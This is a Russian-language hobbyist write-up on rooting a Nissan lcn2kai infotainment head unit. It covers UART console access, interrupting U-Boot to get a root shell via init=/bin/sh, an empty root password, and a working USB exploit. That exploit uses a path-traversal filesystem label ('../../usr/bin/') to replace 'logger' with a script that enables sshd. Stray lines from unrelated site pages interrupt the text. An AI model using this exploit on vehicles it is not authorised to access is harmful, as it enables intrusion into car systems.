Взламываем головное устройство автомобиля nissan

Анализ головного устройства

При анализе головного устройства я обратил внимание на несколько важных факторов:

Отсутствие USB-портов или возможности подключения к ПК напрямую.

Это означает, что для взаимодействия с устройством нам нужно использовать другие каналы доступа.

Наличие встроенного Wi-Fi адаптера.

Это может быть нашим ключом к доступу к устройству без разборки.

Bluetooth подключение.

Возможно, мы сможем использовать Bluetooth уязвимости для атаки.

Возможность обновления ПО через USB-носитель.

Это может дать нам возможность использовать специально подготовленное программное обеспечение.

Реверс-инжиниринг и получение рута

Для получения рут-доступа через SSH я использовал комбинацию анализа прошивки, эксплойта для компонентов, обхода аутентификации, и подстановки чужих файлов.

Действия, которые могут понадобиться

Если вы решите повторить мои действия, вам могут понадобиться следующие:

  • Ноутбук с Wi-Fi адаптером, Bluetooth адаптером.
  • Mini-UART кабель для подключения USB, например FTDI.
  • Навыки в работе с Linux и понимание принципов реверс-инжиниринга.
  • Общее понимание работы сборки ядра Linux и исследования ПО.
  • Активное использование ресурсов GitHub и понимание работы Python.

Спасибо за внимание!

Было интересно провести анализ устройства и попробовать получить рут-доступ. Надеюсь, мой опыт будет полезен для тех, кто также собирается исследовать свои устройства. Если у вас есть какие-либо вопросы или комментарии, пожалуйста, делитесь ими!

## Секретное меню оператора
Для открытия секретного меню оператора нужно:
1. Нажать и удерживать кнопку App
2. Повернуть ручку TUNE на пару щелчков против часовой
3. Затем повернуть ручку TUNE по часовой стрелке и снова против часовой стрелки
После этого вводится чит-код, который открывает новое меню с:
- Диагностическими опциями
- Информацией о версии головного устройства
- Функцией обновления прошивки
![Image1](https://habrastorage.org/webt/29/km/rz/29kmrzimthnq_g_eh723usj6n18.jpeg)
## Обновление прошивки
Статьи о джейлбрейке и рутинге информационно-развлекательных автомобильных систем уделяют внимание обновлениям прошивок, так как в таких случаях системы становятся уязвимыми.
Различные версии обновлений прошивки lcn2kai доступны на онлайн-форумах. Для обновления прошивки необходимо:
1. Подключить USB-флешку с новой версией прошивки
2. Перейти в секретное меню
3. Выбрать опцию обновления/апгрейда
4. Следовать инструкциям
После инициирования процесса апгрейда система перезапускается и выполняет криптографическую валидацию файлов апгрейда прошивки.
![Image2](https://habrastorage.org/webt/ak/ak/u3/akaku3gglrrpbqemq13rc4gmerm.jpeg)
## Список USB-устройств
Открытый USB-разъем может быть использован для:
- Загрузки MP3 для долгих поездок
- Воспроизведения музыки с Spotify через смартфон
- Зарядки устройств через USB
Для проверки поддержки клавиатуры можно использовать трюк с отправкой последовательности нажатий Magic SysRq. На lcn2kai это работает, но клавиатура не подключена к консоли.
Подключение произвольных USB-устройств можно проверить аналитически с помощью Facedancer и umap2.
Команда для сканирования подключенных USB-устройств:

umap2vsscan -P fd:/dev/ttyUSB0 -d $UMAP2_DIR/data/vid_pid_db.py

## Автоматический скрипт для сканирования VID и PID
Скрипт сканирует огромный список известных сочетаний VID и PID, а затем выводит соответствующее устройство (и драйвер Linux, из которого взяты VID/PID).
Так как это может занять довольно долгое время, мы можем немного отфильтровать этот список, чтобы искать только интересующее нас.
## Типы устройств
По сути, есть только два типа устройства, поддержка которых меня интересует:
- Адаптер TTL2USB (например, последовательные кабели FTDI), который каким-то образом может быть подключён к последовательной консоли через **udev** или что-то подобное.
- Сетевой USB-адаптер, который в идеале может конфигурироваться автоматически или получать адрес через DHCP.
Отредактировав список **umap2** и оставив в нём только эти типы, мы получаем примерно тысячу устройств; их перебор вполне можно выполнить за разумное время, только будьте внимательны и не разрядите аккумулятор автомобиля, ожидая завершения работы скрипта.
## Результат сканирования

[ALWAYS] Found 1 supported device(s) (out of 1098):

  • vid:pid 077b:2226
  • Vendor: Linksys
  • Product: USB200M 100baseTX Adapter
  • Driver: drivers/net/usb/asix_devices.c
  • Info: Device not reached set configuration state
Отличные новости! Драйвер **asix_devices.c** используется очень популярным USB-адаптером Ethernet.
## Покупка устройства
Велика вероятность, что в ближайшем магазине электроники вы сможете купить нечто подобное за $10.
Чтобы перед покупкой убедиться, что USB-адаптер Ethernet действительно поддерживает драйвер **asix_devices**, можно поискать на сайте производителя драйверы для Linux.
## Подключение устройства
Запитать устройство было очень легко. Ему нужно 12 В и максимум чуть больше 1 А, так что вполне подойдёт большинство стандартных источников питания.
Чтобы включить устройство, кроме подключения **Vcc** и **GND** необходимо подключить контакт **Ignition** к **Vcc**.

Разбор устройства

Посмотрев на внутреннее устройство устройства, становится ясно, что самые важные части расположены внизу, а корпус из листового металла играет роль большого радиатора.

Image

На плате можно выделить различные группы компонентов. Слева находится интегральная схема STMicro FM/AM/audio, посередине — Maxim GPS и, возможно, Altera для SiriusXM. По всей видимости, основным CPU является ARM, произведенный NEC. Технические характеристики этого процессора мне не удалось найти на данный момент. Рядом с основным процессором на плате есть две неиспользуемые контактные площадки. Верхняя из них совпадает по местоположению с закрытым отверстием в нижней части металлического корпуса, так что она, вероятно, предназначена для отладочных контактов и используется во время разработки.


Image

Ищем последовательную консоль

Пока нет никаких полезных надписей на плате, но две неиспользованные площадки, вероятно, являются местом для последовательной консоли UART. С помощью осциллографа можно пройтись по контактам и попробовать найти необходимые. Через несколько экспериментов я смог найти контакт TX последовательной консоли (оранжевый провод на фото). Для поиска контакта RX сложно использовать только осциллограф, поэтому можно подключить USB/последовательный адаптер, написать скрипт, отправляющий символы на контакт TX и таким образом найти RX. При активной работе устройства, если контакт TX не передает данные, можно прижать щуп к нему и мониторить результат. После нахождения RX (синий провод на фото) требуется установить скорость передачи данных, применяя разные стандартные значения. Помните о необходимости заземлить последовательный USB-адаптер для обеспечения правильного заземления устройства.

Дополнение: контакты TX и RX подключены к разъему кабельного жгута автомобиля, как показано на изображении выше.

Image

Теперь доступ к данным стал более удобным, так как нет необходимости вскрывать корпус для поиска. Оказалось, что контакты TX/RX обрезаны наружу на кабеле, скорее всего, чтобы предотвратить их случайное подключение. В таком случае можно использовать пружинный зажим для переподключения.


Курсор консоли Lcn2kai установлен на скорость 115200 бод; после присоединения к устройству и включения его, появится следующий лог загрузки:

[ 0.009674]
[ 0.009698] U-Boot 2010.03-00391-gf3b3496 (May 15 2014 - 16:53:57) for NEC NEmid
[ 0.009754]
[ 0.009772] (C) 2009-2010 Robert Bosch Car Multimedia, CM-AI/PJ-CF32, Dirk Behme
[ 0.009830] CPU: MPCore at 400MHz
[ 0.009866] U-Boot #1 (env @ 0x40080000)
[ 0.009904] Board: NEmid based LCN2kai TSB4 Sample (1G) board
[ 0.009954] Board ID: 0x3007 (#1)
[ 0.011105] DRAM: 1 GB
[ 0.011185] PRAM cleared
[ 0.011208] Reset Counter cleared
[ 0.011238] Reset Counter has the value 0

[ 0.011962] Flash: S-Die

Еще про Ниссан:  Замена втулок стабилизатора Кашкай j10

[ 0.012041] Flash: 64 MB

[ 0.012073] *** Warning – bad CRC, using default environment

[ 0.012117]

[ 0.012538] In: serial

[ 0.012563] Out: serial

[ 0.012587] Err: serial

[ 0.014028] Reset Counter cleared

[ 0.014063] Reset Counter cleared

[ 0.014509] Net: No ethernet found.

[ 0.014592] Hit any key to stop autoboot: 0

[ 0.017803] ## Booting kernel from Legacy Image at 40920000 …

[ 0.017889] Image Name: triton_min_dualos

[ 0.017926] Image Type: ARM RbcmRTOS Kernel Image (uncompressed)

[ 0.017987] Data Size: 1294164 Bytes = 1.2 MB

[ 0.018040] Load Address: 80000000

[ 0.018074] Entry Point: 80000290

[ 0.018140] Loading Kernel Image … OK

[ 0.050506] OK

[ 0.050965]

[ 0.050978] Starting guest OS …

[ 0.051045] ## Booting kernel from Legacy Image at 40220000 …

[ 0.051146] Image Name: Linux-2.6.34.13-02018-g843e5c6

[ 0.051192] Image Type: ARM Linux Kernel Image (uncompressed)

[ 0.051253] Data Size: 2076344 Bytes = 2 MB

[ 0.051306] Load Address: 86000000

[ 0.051341] Entry Point: 86000000

[ 0.051389] Loading Kernel Image … OK

[ 0.116345] OK

[ 0.236196]

[ 0.236213] Starting kernel …

[ 0.236239]

Uncompressing Linux… done, booting the kernel.

Отлично, мы чего-то добились. Из этого можно извлечь множество полезной информации. Во-первых, как и ожидалось, для запуска системы используется U-Boot. Похоже, NEC Nemid — это название базовой платформы. CPU — это MPCore с частотой 400 МГц, двухъядерный. Любопытно, что при запуске операционной системы сначала, похоже, запускается ОСРВ (RTOS), за которой следует Linux. Образ RTOS имеет имя `triton_min_dualos`; поискав, можно выяснить, что она основана на T-Kernel или Tron — операционной системе реального времени, популярной у японских производителей.
### ▍ Рут через UBoot и SSH
Теперь, когда у нас есть доступ к консоли, можно позволить системе запуститься полностью. После запуска Linux обычная система init запускает множество сервисов, но потом не оказывается в шелле. Мы по-прежнему не можем взаимодействовать с ним. Однако отметим, что в приведённом выше bootlog есть строка `Hit any key to stop autoboot: 0`. Обычно в U-Boot настроен короткий таймаут для ожидания нажатия любой клавиши и прерывания стандартного процесса запуска. В данном случае таймаут равен 0, поэтому процесс запуска начинается сразу, но в некоторых случаях его всё равно можно прервать. Можно попытаться бить по клавиатуре, чтобы отправить данные на последовательный порт при включении устройства, надеясь прервать процесс запуска, но обычно помогает следующая однострочная команда:

cat /dev/zero > /dev/ttyUSB0

Выполнив её в терминале, включив питание, остановив команду и подключившись через `miniterm`, мы увидим что-то подобное:

[ 0.012538] In: serial

[ 0.012563] Out: serial

[ 0.012587] Err: serial

[ 0.014028] Reset Counter cleared

[ 0.014063] Reset Counter cleared

[ 0.014509] Net: No ethernet found.

[ 0.014592] Hit any key to stop autoboot: 0

[ 0.017881] NEMID #

Это переносит нас в шелл U-Boot, что даёт нам шанс подробнее изучить окружение и изменить процесс запуска нужным нам образом. Вот как выглядит окружение и доступные команды:

[ 22.754025] bdinfo – print Board Info structure

[ 22.754068] bootm – boot application image from memory

[ 22.754117] bootp – boot image via network using BOOTP/TFTP protocol

[ 22.754173] cmp – memory compare

[ 22.754209] coninfo – print console devices and information

[ 22.754258] cp – memory copy

[ 22.754291] crc32 – checksum calculation

[ 22.754330] echo – echo args to console

[ 22.754370] em_trace- display error memory entries in PRAM

[ 22.754419] erase – erase FLASH memory

[ 22.754456] exit – exit script

[ 22.754490] false – do nothing, unsuccessfully

[ 22.754533] fatinfo – print information about filesystem

[ 22.754581] fatload – load binary file from a dos filesystem

[ 22.754632] fatls – list files in a directory (default /)

[ 22.754682] flinfo – print FLASH memory information

[ 22.754728] go – start application at address ‘addr’

[ 22.754777] help – print command description/usage

[ 22.754823] imxtract- extract a part of a multi-image

[ 22.754870] loop – infinite loop on address range

[ 22.754915] md – memory display

[ 22.754950] mii – MII utility commands

[ 22.754989] mm – memory modify (auto-incrementing address)

[ 22.755041] mtest – simple RAM read/write test

[ 22.755084] mw – memory write (fill)

[ 22.755123] nm – memory modify (constant address)

[ 22.755170] pci – list and access PCI Configuration Space

[ 22.755221] printenv- print environment variables

[ 22.755265] protect – enable or disable FLASH write protection

[ 22.755318] rarpboot- boot image via network using RARP/TFTP protocol

[ 22.755374] reset – Perform RESET of the CPU

[ 22.755417] run – run commands in an environment variable

[ 22.755468] saveenv – save environment variables to persistent storage

[ 22.755525] setenv – set environment variables

[ 22.755571] setrtosaddr- set the RAM entry address for the RTOS (autoselected based on the board ID)

[ 22.755646] showvar – print local hushshell variables

[ 22.755693] sleep – delay execution for some time

[ 22.755737] source – run script from memory

[ 22.755778] startguestos- start guest OS on CPU #2

[ 22.755823] startsingleRTOS- start RTOS as single os from flash

[ 22.755875] test – minimal test like /bin/sh

[ 22.755918] tftpboot- boot image via network using TFTP protocol

[ 22.755971] true – do nothing, successfully

[ 22.756013] update – perform a recovery update

[ 22.756055] usb – USB sub-system

[ 22.756090] usbboot – boot from USB device

[ 22.756129] version – print monitor version

[ 22.756576] NEMID # printenv

[ 27.528646] bootargs=reset

[ 27.528675] bootcmd=run setbootargs; if bootm start 0x40920000; then setrtosaddr; bootm loados; startguestos; fi; bootm

[ 27.528769] bootdelay=0

[ 27.528795] baudrate=115200

[ 27.528823] loadaddr=0x40220000

[ 27.528854] usbstortimeout=5

[ 27.528883] verify=no

[ 27.528906] cores=2

[ 27.528929] ipaddr=172.17.0.1

[ 27.528959] serverip=172.17.0.6

[ 27.528990] rootdev2=mmcblk0p2 ro

[ 27.529023] rootdev=mmcblk0p1 ro

[ 27.529054] uboot=u-boot.bin

[ 27.529083] linux=uImage

[ 27.529109] dualos=triton_dualos.bin.uimage

[ 27.529149] dualosmin=triton_min_dualos.bin.uimage

[ 27.529193] rfd=rfd_file.bin

[ 27.529222] ramdisk=uInitramfs

[ 27.529253] xtargs=quiet ohci-hcd.distrust_firmware=0

[ 27.529299] norfsfld=norfs_filled.bin

[ 27.529335] norfsmpt=norfs_empty.bin

[ 27.529369] panic=1

[ 27.529392] panic_on_oops=1

[ 27.529420] nfsroot=/opt/bosch/y/di_projects/generated/target_rootfs

[ 27.529477] nfsboot=setenv rootdev nfs rw nfsroot=${serverip}:${nfsroot} ip=${ipaddr};saveenv;reset

[ 27.529557] bootchart=setenv xtargs ${xtargs} initcall_debug printk.time=y init=/sbin/bootchartd;saveenv; reset

[ 27.529644] startusb=usb start; setenv startusb echo ‘USB started’

[ 27.529700] setfatload=setenv loader fatload usb 0:1 0x80000000 ${loadfile}

[ 27.529762] setftpload=setenv loader tftp 0x80000000 ${loadfile}

Еще про Ниссан:  Владельцам автомобилей Nissan: программа технической помощи на дорогах

[ 27.529817] setnorloader=echo ‘no loader defined’

[ 27.529861] flshb=if run loader; then protect off 0x40020000 +${filesize};erase 0x40020000 +${filesize};cp.b 0x80000000 0x40020000 ${filesize};protect off 0x40160000 +${filesize};erase 0x40160000 +${filesize};cp.b 0x80000000 0x40160000 ${filesize};fi

[ 27.530047] flshkrnl=if run loader; then erase 0x40220000 +${filesize};cp.b 0x80000000 0x40220000 ${filesize};fi

[ 27.530135] flshdls=if run loader; then erase 0x40920000 +${filesize};cp.b 0x80000000 0x40920000 ${filesize};fi

[ 27.530223] flshdls2=if run loader; then erase 0x41020000 +${filesize};cp.b 0x80000000 0x41020000 ${filesize};fi

[ 27.530312] flshdlsmin=if run loader; then erase 0x40920000 +${filesize};cp.b 0x80000000 0x40920000 ${filesize};fi

[ 27.530401] flshrfd=if run loader; then erase 0x40B20000 +${filesize};cp.b 0x80000000 0x40B20000 ${filesize};fi

[ 27.530489] flshffs=if run loader; then erase 0x41940000 +${filesize};cp.b 0x80000000 0x41940000 ${filesize};fi

[ 27.530577] handle_norfs=erase 0x41940000 0x41afffff

[ 27.530623] norfs_default=setenv handle_norfs erase 0x41940000 0x41afffff

[ 27.530684] norfs_untouch=setenv handle_norfs echo norfs-untouched

[ 27.530740] norfs_empty=setenv handle_norfs run ffsmpt

[ 27.530787] norfs_filled=setenv handle_norfs run ffsfld

[ 27.530835] ffsmpt=echo ‘ffsmpt’;setenv loadfile ${norfsmpt};run setnorloader; run flshffs

[ 27.530908] ffsfld=echo ‘ffsfld’;setenv loadfile ${norfsfld};run setnorloader;run flshffs

[ 27.530980] bootup=echo ‘bootup’;run startusb;setenv loadfile ${uboot};run setfatload;run flshb

[ 27.531057] kernup=echo ‘kernup’;run startusb;setenv loadfile ${linux};run setfatload;run flshkrnl

[ 27.531135] dualosup=echo ‘dualosup’;run startusb;setenv loadfile ${dualos};run setfatload;run flshdls

[ 27.531216] dualosup2=echo ‘dualosup2’;run startusb;setenv loadfile ${dualos};run setfatload;run flshdls2

[ 27.531300] dualosminup=echo ‘dualosminup’;run startusb;setenv loadfile ${dualosmin};run setfatload;run flshdls

[ 27.531388] rfdup=echo ‘rfdup’;run startusb;setenv loadfile ${rfd};run setfatload;run flshrfd

[ 27.531463] tftpu=run startusb;setenv loadfile ${uboot};run setftpload;run flshb

[ 27.531529] tftpk=run startusb;setenv loadfile ${linux};run setftpload;run flshkrnl

[ 27.531597] tftpd=run startusb;setenv loadfile ${dualos};run setftpload;run flshdls

[ 27.531665] tftpd2=run startusb;setenv loadfile ${dualos};run setftpload;run flshdls2

[ 27.531734] tftpm=run startusb;setenv loadfile ${dualosmin};run setftpload;run flshdls

[ 27.531804] tftpr=run startusb;setenv loadfile ${rfd};run setftpload;run flshrfd

[ 27.881598] fatupdate=run clearenv;run bootup;run kernup;run dualosminup;run rfdup;setenv setnorloader ${setfatload};run handle_norfs

[ 27.881701] tftpupdate=run clearenv;run tftpu;run tftpk;run tftpm;run tftpr;setenv setnorloader ${setftpload};run handle_norfs

[ 27.881800] oldupdate=run fatupdate;setenv xtargs ${xtargs} update=fat;run usbrec1

[ 27.881867] fastupdate=setenv linux uImage-fastboot;run fatupdate;setenv xtargs ${xtargs} update=fat;setenv linux uImage;run usbrec1

[ 27.881970] fatld_uboot=run bootup

[ 27.882003] fatld_kernel=run kernup

[ 27.882037] fatld_dualosmid=run dualosup

[ 27.882075] fatld_dualosmid2=run dualosup2

[ 27.882114] fatld_dualosmin=run dualosminup

[ 27.882153] fatld_rfd=run rfdup

[ 27.882184] fatld_ffsmpt=run startusb;setenv setnorloader ${setfatload};run norfs_empty;run handle_norfs

[ 27.882267] fatld_ffsfld=run startusb;setenv setnorloader ${setfatload};run norfs_filled;run handle_norfs

[ 27.882351] fatld_ffskill=run norfs_default; run handle_norfs

[ 27.882403] tftp_uboot=run tftpu

[ 27.882435] tftp_kernel=run tftpk

[ 27.882468] tftp_dualosmid=run tftpd

[ 27.882502] tftp_dualosmid2=run tftpd2

[ 27.882539] tftp_dualosmin=run tftpm

[ 27.882573] tftp_rfd=run tftpr

[ 27.882604] tftp_ffsmpt=setenv setnorloader ${setftpload};run norfs_empty;run handle_norfs

[ 27.882677] tftp_ffsfld=setenv setnorloader ${setftpload};run norfs_filled;run handle_norfs

[ 27.882750] tftp_ffskill=run norfs_default; run handle_norfs

[ 27.882802] usbrecover=run setbootargs; update /

[ 27.882845] usbdhcprecover=setenv xtargs ${xtargs} update=fab_dhcp; run usbrecover

[ 27.882913] usbrec1=run startusb;run setbootargs;if fatload usb 0:1 0x85A00000 ${linux}; then setenv uid 0;elif fatload usb 1:1 0x85A00000 ${linux};then setenv uid 1; else run usbrecf; fi; run usbrec2

[ 27.883063] usbrec2=if fatload usb ${uid}:1 0x85000000 ${ramdisk};then if fatload usb ${uid}:1 0x82000000 ${dualos};then run usbrec3; fi; fi; run usbrecf

[ 27.883181] usbrec3=if bootm start 0x82000000; then setrtosaddr;if bootm loados; then startguestos;;bootm 0x85A00000 0x85000000; fi; fi; run usbrecf

[ 27.883295] usbrecf=echo *** USB recovery download FAIL, stopping ***

[ 27.883353] setbootargs=setenv bootargs console=${console},115200n8n mem=${linuxmem} maxcpus=${cores} root=/dev/${rootdev} rootwait lpj=1994752 panic=${panic} panic_on_oops=${panic_on_oops} usbcore.rh_oc_handler=1 ${xtargs}

[ 27.883521] update=run clearbootconfig;run bootup;setenv bootcmd ‘run fatupdate; run clearenv; setenv xtargs ${xtargs} update=fat;run setbootargs;run usbrec1’;saveenv; reset

[ 27.883652] clearresetcounter=mw ffffff14 0

[ 27.883692] exitrecovery=setenv bootcmd ${bootcmd_default}; run clearresetcounter

[ 27.883758] clearbootconfig=erase 0x400e0000 +1

[ 27.883801] clearenv=protect off 0x40080000 +12288;erase 0x40080000 +12288;protect off 0x401C0000 +12288;erase 0x401C0000 +12288

[ 27.883901] mrpropper=run exitrecovery;run clearbootconfig;run clearenv

[ 27.883961] bootcmd_default=run setbootargs; if bootm start 0x40920000; then setrtosaddr; bootm loados; startguestos; fi; bootm

[ 27.884060] stdin=serial

[ 27.884086] stdout=serial

[ 27.884112] stderr=serial

[ 27.884139] console=ttyS0

[ 27.884166] linuxmem=768M

[ 27.884196]

[ 27.884213] Environment size: 5891/131068 bytes

Здесь мы видим множество полезных данных, которые пригодятся нам в дальнейших исследованиях. Наиболее примечательно то, что это позволяет нам увидеть конфигурацию запуска и то, как мы можем изменить её, чтобы получить шелл. Достаточно поменять `bootargs` следующим образом:

setenv bootargs console=${console},115200n8n mem=${linuxmem} maxcpus=${cores} root=/dev/${rootdev} rootwait lpj=1994752 panic=${panic} panic_on_oops=${panic_on_oops} usbcore.rh_oc_handler=1 4 init=/bin/sh

Bootargs практически не поменялись, но обратите внимание на последнюю часть: `init=/bin/sh`. Она приказывает процессу запуска начинать только с шелла, а не исполнять init целиком. Давайте проверим, сработает ли это:

[ 5.225918] NEMID # setenv bootargs console=${console},115200n8n mem=${linuxmem} maxcpus=${cores} root=/dev/${rootdev} rootwait lpj=1994752 panic=${panic} panic_on_oops=${panic_on_oops} usbcore.rh_oc_handler=1 4 init=/bin/sh

[ 14.706586] NEMID #

[ 14.707033] NEMID # bootm

[ 16.542428] ## Booting kernel from Legacy Image at 40220000 …

[ 16.542532] Image Name: Linux-2.6.34.13-02018-g843e5c6

[ 16.542581] Image Type: ARM Linux Kernel Image (uncompressed)

[ 16.542642] Data Size: 2076344 Bytes = 2 MB

[ 16.542695] Load Address: 86000000

[ 16.542731] Entry Point: 86000000

[ 16.542782] Loading Kernel Image … OK

[ 16.594394] OK

[ 16.600193]

[ 16.600213] Starting kernel …

[ 16.600241]

Uncompressing Linux… done, booting the kernel.

18.093432] VFP support v0.3: implementor 41 architecture 1 part 20 variant b rev 4

[ 18.102415] registered taskstats version 1

[ 18.122718] EXT4-fs (mmcblk0p1): mounted filesystem with ordered data mode

[ 18.130022] VFS: Mounted root (ext4 filesystem) readonly on device 179:1.

[ 18.146750] devtmpfs: mounted

[ 18.149942] Freeing init memory: 148K

/bin/sh: can’t access tty; job control turned off

/ # ls

bin etc lib opt share usr

boot home lost+found proc shared var

cc_label.txt include media rfs_version.txt sys

dev lcn2kai_version.txt mnt sbin tmp

/ #

/ # id

uid=0(root) gid=0(root)

/ #

Прекрасное зрелище! Однако прежде что-нибудь не сломалось, нам нужно включить доступ к шеллу. Так как мы уже знаем, что можем подключиться по сети при помощи USB-адаптера Ethernet, нам отлично подойдёт SSH-сервер. Давайте сначала кое-что проверим. Во-первых, что находится в `/etc/password`:

/ # cat passwd

root::0:0:root:/home/root:/bin/sh

Как нам повезло — похоже, для рут-пользователя не установлен пароль! Взглянув на `sshd_config`, мы (среди прочего) видим:

PermitEmptyPasswords yes

То есть нам даже не нужно с этим возиться. Кроме того, вспомним, что сканы nmap показывают, что порт 22 не фильтровался. Можно проверить это при помощи `iptables -L `, или взглянув на `init.d/firewall.sh`:

-A INPUT -s 172.17.0.0/16 -d 172.17.0.0/16 -p tcp -m tcp –sport 513:65535 –dport 22 -m state –state NEW,ESTABLISHED -j ACCEPT

Показанная выше строка, по сути, разрешает SSH-соединения, а другие правила блокируют всё остальное. Идеально. Теперь чтобы включить доступ к шеллу через SSH, нам достаточно отредактировать скрипт `init.d` так, чтобы при запуске системы выполнялся `sshd`. Похоже, основной скрипт, управляющий инициализацией, находится в `/etc/init.d/fastboot/prj_boschinit.sh`, так что если просто добавить в конец следующую команду, он запустит sshd:

/etc/init.d/sshd start

#just start actuall login session, just in case

Еще про Ниссан:  Стеклоочистители Nissan qashqai j11 и дворники для Nissan J-11 (2013

/bin/login

На этом этапе файловая система доступна только для чтения, но может быть перемонтирована с RW командой `mount -o remount,rw /`, что позволит нам сохранить файловую систему. Исполним один-два раза `sync`, скрестим пальцы и перезапустимся!

$ ssh root@172.17.0.1

!! The root file system is READ-ONLY !!

root@(none):~#

Как говорят хакеры в фильмах, «мы внутри».
## Удобная уязвимость и неинвазивный эксплойт
Как говорилось выше, поверхность атаки практически не изменилась (самые очевидные векторы — это USB-разъём и Bluetooth), но теперь мы можем изучить, как работает система. Я не буду рассказывать в подробностях всё то, что я попробовал, но в целом процесс очень напоминал старые варгеймы в шелле, в которых вы ищете способ повысить свои привилегии.
Одно из направлений атаки — это поддержка USB-флешек для воспроизведения музыки. Как и можно ожидать от любого головного устройства, после подключения флешки система автоматически монтирует её и ищет на ней поддерживаемое мультимедиа. Это можно сделать множеством способов, и ещё больше способов испортить эту функциональность, так что было бы неплохо изучить, как это делает lcn2kai.
В Linux можно начать изучение со скриптов UDEV. И в самом деле, в `etc/udev/scripts` мы находим следующее:

root@bosch-nemid:/etc/udev/scripts# ls

monitor.sh mount.sh network.sh not_mount.sh trace_proxy.sh

Всё это даёт нам понять, как ведёт себя система в целом, но мы углубимся в изучение `mount.sh`. Как и ожидалось, это довольно простой скрипт, вызываемый при обнаружении устройства mass media USB, чтобы определить его файловую систему и смонтировать его в соответствующее место. Приведу важную часть кода:

automount() {

if [ -z "${ID_FS_TYPE}" ]; then
logger -p user.err "mount.sh/automount" "$DEVNAME has no filesystem, not mounting"
return
fi
# Determine the name for the mount point. First check for the
# uuid, then for the label and then for a unique name.
if [ -n "${ID_FS_UUID}" ]; then
mountdir=${ID_FS_UUID}
elif [ -n "${ID_FS_LABEL}" ]; then
mountdir=${ID_FS_LABEL}
else
mountdir="disk"
while [ -d $MOUNTPT/$mountdir ]; do mountdir="${mountdir}_"
done
fi

result=$($MOUNT -t ${ID_FS_TYPE} -o sync,ro$IOCHARSET $DEVNAME "$MOUNTPT/$mountdir" 2>&1)

В начале опции `automount` скрипт пытается определить точку монтирования. Переменная MOUNTPT указывает на "/dev/media", сама точка монтирования накопителя — это `$MOUNTPT/$mountdir`; существует три варианта определения `$mountdir`. Во-первых, в качестве точки монтирования используется FS UUID, если он существует. Если нет, используется FS Label, если она существует. И наконец, если не существует ни FS UUID, ни FS Label, просто используется mountdir `disk`. В последней строке выполняется команда `mount`. Эта последняя строка — хорошее место для изучения возможности уязвимостей инъецирования команд, но оказывается, что все данные, которые можно контролировать, заключены в кавычки. Однако не всё потеряно!
Можем ли мы как-то заставить выполнить обход папок в точке монтирования? Окончательная точка монтирования — это `$MOUNTPT/$mountdir`, если `$mountdir` каким-то образом будет содержать `../`, это способно привести к обходу папок, что потенциально можно использовать нам на пользу. Вернёмся к определению `$mountdir`: хотя мы можем управлять UUID, по сути, это HEX-строка во всех файловых системах, так что она не может привести к обходу папок, но `ID_FS_LABEL` может содержать произвольные данные! Так что для использования этой проблемы мы можем создать флеш-накопитель с файловой системой, не имеющей UUID и имеющей FS Label вида "../../some/other/path". После её разворачивания `$MOUNTPT/$mountdir` превратится в `/dev/media/../../some/other/path` или в `/some/other/path`. Если это действительно сработает, мы сможем смонтировать содержимое флеш-накопителя в любое место корневой файловой системы. Это похоже на простой путь к успеху.
План состоит из пары этапов. Во-первых, нужно создать флешку с файловой системой ext2, потому что мы уверены в поддержке ext2 и всё, что мы в неё поместим, будет хранить бит +x, если не указаны дополнительные опции `mount`. Затем нужно убрать UUID, обнулив UUID в заголовке ext2\. Далее нужно установить FS label, чтобы использовать обход папок и смонтировать файловую систему так чтобы это привело к исполнению кода. Изучив скрипт `mount.sh`, мы найдём следующее:

result=$($MOUNT -t ${ID_FS_TYPE} -o sync,ro$IOCHARSET $DEVNAME "$MOUNTPT/$mountdir" 2>&1)

status=$?
if [ ${status} -ne 0 ]; then
logger -p user.err "mount.sh/automount" "$MOUNT -t ${ID_FS_TYPE} -o sync,ro $DEVNAME \"$MOUNTPT/$mountdir\" failed: ${result}"
rm_dir "$MOUNTPT/$mountdir"
else
logger "mount.sh/automount" "mount [$MOUNTPT/$mountdir] with type ${ID_FS_TYPE} successful"
mkdir -p ${MOUNTDB}
echo -n "$MOUNTPT/$mountdir" > "${MOUNTDB}/$devname"
fi
То есть сразу после монтирования (успешного или безуспешного) файловой системы выполняется команда `logger` для записи сообщения в лог. Команда `logger` находится в `/usr/bin`:

which logger

/usr/bin/logger

Если мы выберем её в качестве цели, то наша FS label должна иметь вид `../../usr/bin/`. Подготовленная флешка должна содержать единственный файл `logger` с установленным +x. Этот файл будет простым шелл-скриптом, который включит SSH-сервер, как мы делали это вручную в предыдущем разделе. Скрипт может выглядеть примерно так:

#make a file on the usb flash so we know if execution happened

touch /usr/bin/itworked

#remount root FS as RW

mount -o remount,rw /

#enable sshd

echo "/etc/init.d/sshd start" >> /etc/init.d/fastboot/prj_boschinit.sh

#just for good measure

sync

sync

Создав такую флешку, мы можем залезть в машину, включить её, дождаться полной загрузки информационно-развлекательной системы, вставить USB-флешку, посчитать до пятнадцати и отключить автомобиль. Если всё пройдёт успешно, то на флешке должен появиться дополнительный файл `itworked`. Отключаем автомобиль и ждём минуту-две, чтобы lcn2kai полностью отключилось. Снова включаем питание, ждём минуту, подключаемся к адаптеру Ethernet и пытаемся подключиться к SSH. Если всё прошло гладко, мы увидим шелл рута. Всё очень просто.
В моём репозитории можно найти скрипт, который создаст подходящую для записи на флешку файловую систему.
## Куда двигаться дальше
Получив этот неинвазивный рут, я мог углубиться в изучение системы, чтобы понять, как она работает. Другие документы в репозитории объясняют, как работают различные части головного устройства lcn2kai, как к ним можно получать доступ и взаимодействовать с ними, как можно писать собственные приложения.
Я опубликовал эту статью, чтобы и другие могли поэкспериментировать с головными устройствами своих автомобилей, что может привести к созданию новых интересных функций. Во многих моделях автомобилей установлены сотни тысяч таких устройств, и завершение срока их гарантии и поддержки не означает, что они полностью устарели.
> **Telegram-канал со скидками, розыгрышами призов и новостями IT 💻**
![](https://habrastorage.org/webt/tp/sk/z-/tpskz-7w7a8e74isoowuep40xeg.png)